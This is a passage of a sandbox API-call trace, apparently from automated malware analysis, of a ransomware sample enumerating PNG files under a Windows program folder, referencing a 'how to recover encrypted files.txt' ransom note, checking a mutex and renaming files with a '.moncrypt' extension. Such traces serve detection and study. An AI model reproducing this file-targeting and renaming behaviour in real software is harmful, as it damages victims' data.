GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.570] GlobalUnlock (hMem=0x44000c) returned 0 [0058.570] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.570] CharLowerBuffW (in: lpsz="NextMenuButtonIcon.png", cchLength=0x16 | out: lpsz="nextmenubuttonicon.png") returned 0x16 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 73 [0058.571] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 4 [0058.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 0x54e280 [0058.571] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.571] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.571] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.571] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", dwFileAttributes=0x20) returned 0 [0058.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.572] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.moncrypt")) returned 0 [0058.572] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.572] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.572] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.572] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.572] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.572] GlobalUnlock (hMem=0x44000c) returned 0 [0058.572] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.572] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.572] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.572] GlobalUnlock (hMem=0x44000c) returned 0 [0058.572] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.572] GlobalUnlock (hMem=0x440004) returned 0 [0058.572] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.573] CharLowerBuffW (in: lpsz="ParentMenuButtonIcon.png", cchLength=0x18 | out: lpsz="parentmenubuttonicon.png") returned 0x18 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 75 [0058.574] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 4 [0058.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 0x54e280 [0058.574] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.574] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.574] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.574] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", dwFileAttributes=0x20) returned 0 [0058.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.581] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.moncrypt")) returned 0 [0058.581] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.581] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.581] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.581] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.581] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.581] GlobalUnlock (hMem=0x440004) returned 0 [0058.581] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.581] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.581] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.581] GlobalUnlock (hMem=0x440004) returned 0 [0058.582] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.582] GlobalUnlock (hMem=0x44000c) returned 0 [0058.582] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.582] CharLowerBuffW (in: lpsz="PreviousMenuButtonIcon.png", cchLength=0x1a | out: lpsz="previousmenubuttonicon.png") returned 0x1a [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 